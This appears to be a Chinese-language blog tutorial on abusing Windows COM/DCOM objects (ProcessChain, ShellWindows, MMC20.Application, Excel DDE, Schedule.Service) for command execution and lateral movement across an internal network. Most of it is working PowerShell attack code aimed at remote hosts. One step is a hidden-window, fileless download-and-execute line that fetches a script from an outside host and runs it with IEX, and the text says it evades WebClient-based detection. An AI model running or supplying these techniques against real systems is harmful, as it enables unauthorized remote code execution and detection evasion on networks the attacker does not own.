DCOM和COM

1、COM:是微软的一套软件组件的二进制接口标准。这使得跨编程语言的进程间通信、动态对象创建成为可能。COM是多项微软技术与框架的基础。

2、DCOM:(分布式组件对象模式)是一系列微软的概念和程序接口,利用这个接口,客户端程序对象能够请求来自网络中另一台计算机上的服务器程序对象。DCOM基于组件对象模型(COM),是COM的扩展,COM提供了一套允许同一台计算机上的客户端和服务器之间进行通信的接口。

3、COM是在客户端计算机的本地级别执行的,而DCOM(分布式组件对象模型)是在服务器端运行,我们可以将指令传递给DCOM对象,并使其通过网络执行。也就是COM“访问”了DCOM。

4、为什么要用DCOM,因为内网横向移动的工具有很多,但是有很大一部分是基于外部的工具或者一些比较常用的命令来执行的,例如psexec,winrm,wmic等,因此DCOM可以作为另外一种系统自带的横向系统利用工具来使用。

5、DCOM的参数

CLSID :类标识符,担任类唯一标识,一个程序运行需要多个类,每个类都对应着一个CLSID
ProgID:程序标识符,更容易理解,它可以代替更复杂的CLSID,但是不够严谨,可能出现相同的值会出现问题

APPID:应用程序标识符,标识着属于同一个可执行文件的所有类以及访问该可执行文件所需的权限

基本的DCOM事务如下所示:

  1. 1、客户端计算机通过其CLSIDPROGID请求远程计算机创建对象。如果客户端传递了APPID,则远程计算机会使用PROGID查找CLSID
  2. 2、远程计算机检查APPID,并验证客户端是否具有创建对象的权限。
  3. 3DCOMLaunch.exe(如果是EXE)或DLLHOST.exe(如果是DLL)创建客户端计算机请求的类的实例。
  4. 4、通讯成功。
  5. 5、客户端现在可以访问远程计算机上的类中的所有函数。

win7以上——查看DCOM的程序列表

  1. Get-CimInstance Win32_DCOMApplication

image.png
win7及以下来进行查看

  1. Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
  2. 或者
  3. wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_DCOMApplication GET /all /FORMAT:list

执行命令:

1、CLSID {E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E}的COM对象

C:\Program Files (x86)\Windows Kits\10\App Certification Kit\prchauto.dll)具有一个名为ProcessChain的类,该类公开了CommandLine属性,以及一个Start方法,此方法可以接受参数,执行命令

  1. $handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E"))
  2. $handle.CommandLine = "cmd /c whoami"
  3. $handle.Start([ref]$True)

image.png

2、CLSID {F5078F35-C551-11D3-89B9-0000F81FE221}(Msxml2.XMLHTTP.3.0)的COM对象

可以用于下载并执行任意代码,而无需将Payload写入磁盘中,也不会触发寻找常用System.Net.WebClient的规则。XML HTTP 3.0对象通常用于执行AJAX请求。在这种情况下,可以使用Invoke-Expression cmdlet(IEX)直接执行提取的数据,这可以导致无文件下载和执行

  1. powershell -w hidden bypass $o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://10.10.10.10/code.ps1", $False); $o.Send(); IEX $o.responseText;

image.png
image.png

3、CLSID {0F87369F-A4E5-4CFC-BD3E-73E6154572DD}的COM对象

该COM对象实现了用于操作Windows任务计划服务的Schedule.Service类。该COM对象允许特权用户在主机(包括远程主机)上调度任务,而无需在命令中使用schtasks.exe二进制文件或schtasks.exe。

  1. $TaskName = [Guid]::NewGuid().ToString()
  2. $Instance = [activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service"))
  3. $Instance.Connect()
  4. $Folder = $Instance.GetFolder("\")
  5. $Task = $Instance.NewTask(0)
  6. $Trigger = $Task.triggers.Create(0)
  7. $Trigger.StartBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay))
  8. $Trigger.EndBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay + 120))
  9. $Trigger.ExecutionTimelimit = "PT5M"
  10. $Trigger.Enabled = $True
  11. $Trigger.Id = $Taskname
  12. $Action = $Task.Actions.Create(0)
  13. $Action.Path = “cmd.exe”
  14. $Action.Arguments = “/c whoami”
  15. $Action.HideAppWindow = $True
  16. $Folder.RegisterTaskDefinition($TaskName, $Task, 6, "", "", 3)
  17. function Convert-Date {
  18. param(
  19. [datetime]$Date
  20. )
  21. PROCESS {
  22. $Date.Touniversaltime().tostring("u") -replace " ","T"
  23. }
  24. }

4、CLSID {9BA05972-F6A8-11CF-A442-00A0C90A8F39}的COM(ShellWindows)

这种方法由现有的explorer.exe进程托管,ShellWindow COM对象使用Document.Application属性。通过递归COM对象方法可以发现,我们可以对Document.Application.Parent属性返回的对象调用ShellExecute方法

  1. $hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39"))
  2. $item = $hb.Item()
  3. $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

image.png

5、CLSID {C08AFD90-F2A1-11D1-8455-00A0C91F3880}的COM对象

执行CALC.EXE

  1. $hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880"))
  2. $hb.Document.Application.Parent.ShellExecute("calc.exe")

横向移动

1、MMC20.APPlication

这里利用了MMC应用程序类中的ExecuteShellCommand来进行命令执行,找到ExecuteShellCommand方法后,可以看到ExecuteShellCommand方法的一些信息

  1. $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))

这里是需要传入的四个参数
image.png

  1. powershell
  2. $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
  3. $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

OK,我们成功利用它在本地执行了CALC.EXE
image.png
当我们把IP换成其他IP,然后再建立一个IPC连接,即可实现横向移动

  1. $com= [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.204.133"))
  2. $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

这里出了点问题,不管怎么样,都提示这个报错(就特么心态崩了)
image.png

2、EXCEL DDL

使用用,会延时一段时间(然后什么都没有了。。。命令执行失败了TnT)

  1. $hb = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","192.168.126.134"))
  2. $hb.DisplayAlerts = $false
  3. $hb.DDEInitiate('cmd','/c echo Haboob > C:\hb.txt')

image.png

3、同执行命令中的第4条

  1. $hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.204.152"))
  2. $item = $hb.Item()
  3. $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

又报错了(有时间排查)
image.png
以上两种方式适用于Win7-Win10

4、同执行命令中的第5条

  1. $hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.1.1"))
  2. $hb.Document.Application.Parent.ShellExecute("calc.exe")

  1. $com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"192.168.0.2")
  2. $obj = [System.Activator]::CreateInstance($com)
  3. $obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

该方法不适用于Win7,适用于Win10和Server2012 R2

参考文章:
https://www.dazhuanlan.com/2019/12/13/5df3189464ddf/
https://www.anquanke.com/post/id/85333
https://www.anquanke.com/post/id/215960
https://www.freebuf.com/articles/network/256372.html
https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8DCOM%E5%9C%A8%E8%BF%9C%E7%A8%8B%E7%B3%BB%E7%BB%9F%E6%89%A7%E8%A1%8C%E7%A8%8B%E5%BA%8F/